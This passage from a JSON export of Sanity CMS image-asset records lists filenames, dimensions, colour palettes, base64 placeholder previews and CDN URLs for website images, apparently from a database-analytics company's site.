b56-752x405.png"} {"_createdAt":"2024-01-25T18:32:00Z","_id":"image-29103a75bcae4a19948bc18b781f4405091ea0b1-356x438-jpg","_rev":"ZLvKaZvfbZlWBlGcpCKgoa","_type":"sanity.imageAsset","_updatedAt":"2024-01-25T18:32:00Z","assetId":"29103a75bcae4a19948bc18b781f4405091ea0b1","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eDHm=QM|DgNG~Bq@JV~WM|M{0-%1IB%1bI-NIV-pxbEM=ZXSx@i^I;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.8127853881278538,"height":438,"width":356},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAZABQDASIAAhEBAxEB/8QAGQAAAwADAAAAAAAAAAAAAAAAAAYHAgMF/8QAJhAAAQMDBAEEAwAAAAAAAAAAAQIDBAAFEQYHEjEhExQ3cyOxsv/EABcBAQEBAQAAAAAAAAAAAAAAAAUEAwb/xAAfEQACAgIBBQAAAAAAAAAAAAABAwACBCESERMUQlH/2gAMAwEAAhEDEQA/AEu8zLzLujdqgISw+6OS3SrGBXLktak0hdoouEr3kVwhLiQrPHNUFuHEFyU/I5PP8eKTnFZ36HEnJZZea/Opwdq7AodVllWxqMlVuvIHc3MNpU0lQUBkZopigaYlvRkrbilaT0QaKK4g7lRuBomTCxyUuX5u1rf9ZxwEngclGPOaaNdqtNr2wXdIDji7lLdDDTqsggA+SKmmyvySv6Hf5NOG7fxfpn7nP2a6bHxaLoIO19mAmT6JuTqyGyGWLq8Gx1milQdUVr4yj6iT92/2f//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#64472f","foreground":"#fff","population":4.98,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7d4b10","foreground":"#fff","population":1.89,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#64472f","foreground":"#fff","population":4.98,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9acad","foreground":"#000","population":1.27,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4d48d","foreground":"#000","population":0.39,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a07361","foreground":"#fff","population":4.66,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b47735","foreground":"#fff","population":4.26,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"IMG_8896.jpg","path":"images/sczeoy4w/production/29103a75bcae4a19948bc18b781f4405091ea0b1-356x438.jpg","sha1hash":"29103a75bcae4a19948bc18b781f4405091ea0b1","size":16671,"uploadId":"AkBwf4eTy9GVw2r0waIDHZxx20sttFFA","url":"https://cdn.sanity.io/images/sczeoy4w/production/29103a75bcae4a19948bc18b781f4405091ea0b1-356x438.jpg"} {"_createdAt":"2022-06-30T19:56:24Z","_id":"image-2942ecc9ebc7164301a12d511725066f9aacdd89-1500x909-jpg","_rev":"CK1sLU2mnwa3vmbYWEb5TO","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:31Z","assetId":"2942ecc9ebc7164301a12d511725066f9aacdd89","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VOBNWa.9Di8_M{?^x^R5M^R%NqM{t8x]oeIlMw%3%gX8","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6501650165016502,"height":909,"width":1500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAMABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUGBP/EACIQAAEDBAEFAQAAAAAAAAAAAAECAwQABQYRMQcSEyFBFP/EABUBAQEAAAAAAAAAAAAAAAAAAAMC/8QAHhEAAgIABwAAAAAAAAAAAAAAAQIAEQMEEhMxUZH/2gAMAwEAAhEDEQA/AFvR682KVZGm8gfl+fuUTJUshGhwKj+q+TPMZK+zjF2cXbkpBR2q3s/ah8efeS3EipecDDi9KQD6NbMtt0eDJT+ZJQQAre/tS+IK0MIYyyPTDgRZIvd9LhLk9YURwo6NFILlKdlzHHnlbWedeqKPYXoeRAABVT//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#543c2e","foreground":"#fff","population":5.57,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#136c23","foreground":"#fff","population":0.72,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cbe1f3","foreground":"#000","population":11.44,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a1bfd0","foreground":"#000","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cbe1f3","foreground":"#000","population":11.44,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9a8155","foreground":"#fff","population":3.86,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0ed789","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"2942ecc9ebc7164301a12d511725066f9aacdd89-1500x909.jpg","path":"images/sczeoy4w/production/2942ecc9ebc7164301a12d511725066f9aacdd89-1500x909.jpg","sha1hash":"2942ecc9ebc7164301a12d511725066f9aacdd89","size":246148,"uploadId":"6Gsw5bQ1A4EAQD763EbIPBrUfbGTjAPz","url":"https://cdn.sanity.io/images/sczeoy4w/production/2942ecc9ebc7164301a12d511725066f9aacdd89-1500x909.jpg"} {"_createdAt":"2023-12-04T09:57:20Z","_id":"image-2955cb7bddd7ed9f3a9e2a93c4f197a45c8e7b10-1892x827-png","_rev":"HaVeB3hoWGS2EazIBZD6Gb","_type":"sanity.imageAsset","_updatedAt":"2023-12-04T09:57:20Z","assetId":"2955cb7bddd7ed9f3a9e2a93c4f197a45c8e7b10","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.287787182587666,"height":827,"width":1892},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAA7DAAAOwwHHb6hkAAABK0lEQVQokU2QWY7kQAhEff+LjqarXbkBwWqP0tUj9RM/SAREcIzeRm/MbGYRkZlVdd0/XE/d913XbVniYf6Zuaqug2kxESAbKDzgaVlR5Vm2Kz1TPE+yvwOL4e6ZFVnHIxJVZZHFIPiEswU8xILU2UzMhtg59XvuGfsR5yN+PDPLXDSJF7FAzczcbft0cxc1YgySSRB1j4rIAw/uTixtzNb7nGOv0633J6TZ7ljQFxrZ0lQv9zhU8XkV1AbxXEtE3CzcI8IjRV0AqDIwGAshce2nxBbvC5mlkQvK0Ii4/hN1MZyYAYjqgqlnXXfVlU/mvXZn3pdBLB8jH3THwVpExJPQCCSm5rqD6NH66H2MMVrvZ+vt0/yitf7eNV5n//N1fr3er/P9Otv3u/0Dp8oJhc5joTYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#565e66","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d5a8c","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#98c8e7","foreground":"#000","population":0.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8dce2","foreground":"#000","population":0.1,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#98c8e7","foreground":"#000","population":0.16,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#508688","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5baeea","foreground":"#000","population":0.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"services-sql.png","path":"images/sczeoy4w/production/2955cb7bddd7ed9f3a9e2a93c4f197a45c8e7b10-1892x827.png","sha1hash":"2955cb7bddd7ed9f3a9e2a93c4f197a45c8e7b10","size":60022,"uploadId":"aWd0weU1jb5Ym5fczyWAHhILLfGrXZzt","url":"https://cdn.sanity.io/images/sczeoy4w/production/2955cb7bddd7ed9f3a9e2a93c4f197a45c8e7b10-1892x827.png"} {"_createdAt":"2023-10-19T12:30:39Z","_id":"image-298a850f2c3792dc167ee08db6eef884e3566266-300x300-webp","_rev":"zE08g5Yj02ino50zLdnEfi","_type":"sanity.imageAsset","_updatedAt":"2023-10-19T12:30:39Z","assetId":"298a850f2c3792dc167ee08db6eef884e3566266","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"eDBMV=xa00EK~Cs:oLW;WBNG0eR*?Gt7R*9tWB-Vs:R*M{WVxus:NF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":300,"width":300},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAYHAwT/xAAjEAACAgEDBAMBAAAAAAAAAAABAgADBAUGEQcSE1EhIkEx/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgMB/8QAGhEAAwADAQAAAAAAAAAAAAAAAAECERIxMv/aAAwDAQACEQMRAD8AxrZG3K9e1avDvu8FRBLP6lXvvp/ibe05bsLLbIcH7qfwe5P7E1RNM3Bi2W8Gtz42U/vM0Dqrqwo0UVBFQ3MB3AfJEys7ItClw2+mH20cOYnpsYFueYlSByoJWxHBPcpBBlp1Nzr8zI0uq9gUTFRgB7I+TEQvol5ZDN/YiJoT/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#433737","foreground":"#fff","population":1.57,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041014","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cfa8a6","foreground":"#000","population":3.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfa8a6","foreground":"#000","population":3.57,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#90d2e8","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a0737d","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2aaad4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"Brian-Wagner-Keynote-Speaker-300x300.webp","path":"images/sczeoy4w/production/298a850f2c3792dc167ee08db6eef884e3566266-300x300.webp","sha1hash":"298a850f2c3792dc167ee08db6eef884e3566266","size":3302,"uploadId":"29IBOZdqLSP6j8Gi3D8Vc81lO7Z17XeY","url":"https://cdn.sanity.io/images/sczeoy4w/production/298a850f2c3792dc167ee08db6eef884e3566266-300x300.webp"} {"_createdAt":"2022-09-26T15:47:57Z","_id":"image-29d3ec44112d6b4fa8d72473f3803547a1c74601-900x847-png","_rev":"sI1gFaRN7B5HWmjllA3h6l","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T15:47:57Z","assetId":"29d3ec44112d6b4fa8d72473f3803547a1c74601","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.062573789846517,"height":847,"width":900},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAACXBIWXMAAAsTAAALEwEAmpwYAAAFg0lEQVQ4jV3Ua0xTZxgH8Benc964C26Z00yZGpfoh5lsmSZeNuN08Za5TCfGTQGtFxZYVpeoE4c3lCowKBY4Umx7uNUCtZWDK7daKBSL2J7T9pzSVhASFJmKKLc+z1J0idmHJ+/z6Zd/8v7fl/gvTSf413QC6dMmw5+TZ+Gxd+bhkRmrYN+cePhxQfLoD8vXWA/9ErKrDKcdVo2H7M10RWzceypq1eqvQ1d+sWIyIhKKoshVmYwEdoIFwUFwdWYUZE7/Ci68m+g/MSVjLHlW1fDBj6xDPy27PxC7jmITjmzOvmiev4/GsO0iyfzYvXHfHzhwYKdIJPowgGzatIlIJBLC8wIhIA+dAvnB32D2jHL/pWmekZSZAy/EUcNPj8TAwP7PoH/32r7uXd8VtyQc23H9snZu8rE/lonF4rTU1NTsK1eurOjv759ECJlI6XA4CEFVWCgUhor9V0O6Ri+H4uDZOTiQshifHP8cniavgWcHN0Jfws6+jhPH1Y1qTZJWq/2Noqgbcrm8XKPRxDM1NasNBkOM0WicptfrCcGyiBi/MkI2WhD17GVWNA5KFvgf5W4Gb0ESdEp/h86M43g/45y/vpB6WlvNeBoaGtwMw/To9XqXVqu9XVpaWlRWVnZIq9UuMJlMQQQ1s9dDSSQzLo8cHcsOxeGcT6BTdRQqrmVC3pWLKEu/ADmX0iBTIkGKolCn02F1dTXq9frnGo2mgaKoMzKZbAdN0/MmQNBGJ4E60g6KMMTcGTCatxhsymS4fPEsJCYlw9HERDx0+DCIRCI4efIk0DQNN2/exKqqqt7KysozFEUtSUk5HZyfn/9uY2MjIXAz+gxWzBaADkfMmwmj1BLorDiOaroIcnKkkJWViRfOnwexWAypqamgVquhpqYGGYZ5UFtb+2urpS20VFUYuBfS1NxKCOiit0FlVBmURAwgFQxj8qXwqDYNuA4LWq3taLG0QnV1NUilUszNzZ3YTSYTms3mfqvVmnbfxs4NVMdQfycom+mfAMOhImorlEZqsDB4YOz6p9DfmI6dLhs4XTw6OA6tVivU1dVBbW0tNDc3Q1ubBe9a24dMVl6db3iyIVaO4RL9P5M2SAPF7ltKQBMVBiWRW1EerBlTLXvy2JjuF7gOsLMc2G02sNvtgUGbzea3WCzDTSbTK1PL3ZHi+i7fsfJXpfsVGHtQ5X//gAqCCBaHE7/+S+Iv+SAMr83cMlK+iu4z5/UITts4yznwDQYsyyLLsmMtrW29t2oMHp2hZSjnVq//aPHYs/0KZBKUsC1eCe8RKIkg401xpPtuQRDmkuDndeJND7kGncA7X3FvgYGEHMeNNLfZXIrKO3epG01P0yp68DA9jnEK9MUrISleAbMIqsLJeJOIuFkjafcNk94uT4zP68kXBOEFx3H/A9kRs9XRkXejhbl8vf7h6ZIHcIgeH49TYHu8EnbHK2EqQXkoGUIkbpuJ3PMOk56enoU+n08mCMJgAGRZ9u2Eo+0drFGhZrIk+RrzWZrrPUqPNO1X4LkEpX9ZnAKCCBSGkFcvnhGny0VYl488fNi90Ov1ynief/Ef+GYmQJvNZqBpOiU9Q1qVpbhdcar8cezPClwkUo7MOHFjcKKP5OXLl8TpdE78Ft3d3R97vV6pIAjPnU4nOhwOP8dxEMAdDsew3W4PvN+TGZmZKoWquIAxNK4023unBLpobrv/GhwaGiI8z0+gXV1d0R6PJ9HtdtfwPG/med7kcrlMTqczcP7NcVyaTqfbU1RUdEaj0Ujr6+u2t9+7N+txt5O0tFpeg4ODg8Tt7iRut5v4fL6pHo9nkdvt3iAIwhZBEDbzPP9tYARBWO9wOJYzDBOjVqvXVVRU7mEYZq3RaAo2NtaTuro68i86lN3F3lqIqwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#382d2c","foreground":"#fff","population":0.69,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#701b04","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa970d","foreground":"#000","population":8.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6c3b1","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#67a3f8","foreground":"#000","population":3.62,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#626e98","foreground":"#fff","population":0.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa970d","foreground":"#000","population":8.62,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"women-standing-next-to-calculator.png","path":"images/sczeoy4w/production/29d3ec44112d6b4fa8d72473f3803547a1c74601-900x847.png","sha1hash":"29d3ec44112d6b4fa8d72473f3803547a1c74601","size":110821,"uploadId":"maF2pVytFj7te0asgKxRTMdYFRAVXMvR","url":"https://cdn.sanity.io/images/sczeoy4w/production/29d3ec44112d6b4fa8d72473f3803547a1c74601-900x847.png"} {"_createdAt":"2024-04-17T15:18:28Z","_id":"image-2a0b07dce74b3f39b7f83de6f2cf121a60e2c6f7-811x351-png","_rev":"ajOdr4DX4POKI5xrBRf7kd","_type":"sanity.imageAsset","_updatedAt":"2024-04-17T15:18:54Z","altText":null,"assetId":"2a0b07dce74b3f39b7f83de6f2cf121a60e2c6f7","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MGRp8--;Io?vWX-;WBoeWWof~q%1axjEt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.3105413105413106,"height":351,"width":811},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAABoElEQVQokV2SWZPaMBCE/f//WF7ysBuOtcE2PsCyJN8WYHN9KYklxWaqunT3tGbaewCPx+MH7vf7D/x/Nk0TxhiGYfiHcRw5Ho941+uVF+63G/M00dcNVVlSS8nYdVwvF15hCed55nQ60fc9utIorWi7hsEMeHbTwmaxl0zfc4hjgs9PwsUCmWWcjPlOenOjVXg+n50qqSTJfkdaJAh9wMsOgjgv2AtJ3TTUWpNHEf7HB9vFH0SaUusKqbRD23V03yKapqEQB8LIZxOuSNIQ7ysV/PJz/EyiqxolJWmyI/haE203lEWBEIJNGDuIUqKUcijLkmKfk2x84vWCLAzwwqLid1QSi5phGGnblmSXsFwuCYIAWUqapnVEQiqnrus6tNZIKSn2e5JgQ7xak223eL05Ug+GwZyY5pmjMeRZxmqxJPB9lFSuttM0u2bMl4tb25q7LxeCcBuz8SN2cYbnbPFmkct8Yeh6VCmplMaMz4a828YS26ZYm9gyxemecJeTHyTe04dgRxvu4bsH70+iV9i5TeDUOvucadoeXbe0/cBfpUeqqOMYM7gAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#223240","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2b6491","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#babcbe","foreground":"#000","population":5.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#babcbe","foreground":"#000","population":5.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a0d1eb","foreground":"#000","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5180a0","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#60b4f4","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"pg2ch-cdc_border.png","path":"images/sczeoy4w/production/2a0b07dce74b3f39b7f83de6f2cf121a60e2c6f7-811x351.png","sha1hash":"2a0b07dce74b3f39b7f83de6f2cf121a60e2c6f7","size":178102,"title":"PostgreSQL to ClickHouse Analytics Diagram","uploadId":"sHTGW6FPXpyZMhHF0HrC3QI60NVnMjE7","url":"https://cdn.sanity.io/images/sczeoy4w/production/2a0b07dce74b3f39b7f83de6f2cf121a60e2c6f7-811x351.png"} {"_createdAt":"2023-03-02T12:39:33Z","_id":"image-2a244067b31f1e32eab825eb161d2c16fd6b04ef-794x247-png","_rev":"iUKOwlWz6dlX4J4w1aNwI8","_type":"sanity.imageAsset","_updatedAt":"2023-03-02T12:39:33Z","assetId":"2a244067b31f1e32eab825eb161d2c16fd6b04ef","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.214574898785425,"height":247,"width":794},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA30lEQVQYlV2PyU4EMQxE+/+/jxNCGoEQzJbpxEu8phulB3HgnWy5yqpaHq8vj/cTnL+13Hy9J9URtk32HLvE8Bzj2D2TxS1i3g4W/HiD24VqVWhei61XZTSzzPQcIIZdVNXd1aJiR5aI3Pd927YFPk7tcsby6Otqa5FamFBEYpJEHRGZWVXNg7sQd3c/omwLf332chdohuDYHJtJj4gxRnoodKWpzsxx8Bx+Y3O5CoKbZXioKDYhcveps+iVGOhoMYs/PX8srVZEFNUZ04OJELD3I7YHI0MD5m423/0z/wDkwVwvIsG92QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d586b","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#942c69","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4d586b","foreground":"#fff","population":0.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4c1bc","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9d989","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5279a5","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0a252","foreground":"#000","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"grafana-metrics-dashboard.png","path":"images/sczeoy4w/production/2a244067b31f1e32eab825eb161d2c16fd6b04ef-794x247.png","sha1hash":"2a244067b31f1e32eab825eb161d2c16fd6b04ef","size":20748,"uploadId":"qxC8dBZuTSJIOpoxylk67oV4NawibDjH","url":"https://cdn.sanity.io/images/sczeoy4w/production/2a244067b31f1e32eab825eb161d2c16fd6b04ef-794x247.png"} {"_createdAt":"2022-09-30T15:36:59Z","_id":"image-2a2ec8cd386fbe860e808ddc6b16e85f20ba6440-4016x2684-jpg","_rev":"8WeirZ6KB9gJqgJfviQCJb","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:36:59Z","assetId":"2a2ec8cd386fbe860e808ddc6b16e85f20ba6440","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V9BpO;03I%kK9a0mXBRixU-o04_3nLImNa^-D*tJxSM~","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.496274217585693,"height":2684,"width":4016},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUDBwj/xAAlEAACAQMDAwUBAAAAAAAAAAABAwIABBEFBhIxQWEHExQhIiP/xAAWAQEBAQAAAAAAAAAAAAAAAAAEAAH/xAAbEQEAAgMBAQAAAAAAAAAAAAABAAIDETFxof/aAAwDAQACEQMRAD8Azxo6QH8pLUI9zLpVlabtt96uDUp92cYhsFxx18eKTbX+NLS9SW2zUwhGYyPUGpNu7jurNDJJBi1Y/nMSI4+Md6bmy2vgDfHmvu5FKj7H0dnoA5XaX2zp/qSxg4NFJLv1P1xdyz6t5GR5EyhmiiFFmKE//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b394b","foreground":"#fff","population":5.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0f1278","foreground":"#fff","population":2.81,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0d20dd","foreground":"#fff","population":6.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfc4c0","foreground":"#000","population":1.62,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e7b3a1","foreground":"#000","population":1.44,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a86c60","foreground":"#fff","population":0.73,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d20dd","foreground":"#fff","population":6.14,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"2a2ec8cd386fbe860e808ddc6b16e85f20ba6440-4016x2684.jpg","path":"images/sczeoy4w/production/2a2ec8cd386fbe860e808ddc6b16e85f20ba6440-4016x2684.jpg","sha1hash":"2a2ec8cd386fbe860e808ddc6b16e85f20ba6440","size":2499102,"uploadId":"yaVcxwYT4Z5tk7nP4Z4wjDKcfDtCEYyM","url":"https://cdn.sanity.io/images/sczeoy4w/production/2a2ec8cd386fbe860e808ddc6b16e85f20ba6440-4016x2684.jpg"} {"_createdAt":"2022-06-30T20:09:37Z","_id":"image-2a46de465187689c2cae42f6c6a6273317eb2348-1335x444-png","_rev":"CK1sLU2mnwa3vmbYWEdNuH","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:56Z","assetId":"2a46de465187689c2cae42f6c6a6273317eb2348","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DBSY{qa}Rjt7Rj~qRjNGayWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.0067567567567566,"height":444,"width":1335},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAoklEQVQYlY2R2w6EMAhE+///ulqol6I1bA5ZNvrmw0mEYQbU8pkm19bczPw8zwdjDL+u6xVjjPCUWiUC9333bhbYjeM4XmG/+bIsi4uoi6q31oJ1XX3btoBnZrLHYqDOXu/9T6Ghqj7PcyAiEZqBaLXWgABMBDLDLMvyTeJCRJoYMOdGxPsydGqM6BmYPb7fIzAvy5/DUF5CGDp1BuLJA+6BX/LJ0obZ2L1vAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#707272","foreground":"#fff","population":0.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c1c68","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#707272","foreground":"#fff","population":0.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcccc4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4f4fc","foreground":"#000","population":0.13,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8b8c8c","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3636c8","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"2a46de465187689c2cae42f6c6a6273317eb2348-1335x444.png","path":"images/sczeoy4w/production/2a46de465187689c2cae42f6c6a6273317eb2348-1335x444.png","sha1hash":"2a46de465187689c2cae42f6c6a6273317eb2348","size":48647,"uploadId":"Y00CkiySkhHfuSm3lhzGLnppMciQkjqo","url":"https://cdn.sanity.io/images/sczeoy4w/production/2a46de465187689c2cae42f6c6a6273317eb2348-1335x444.png"} 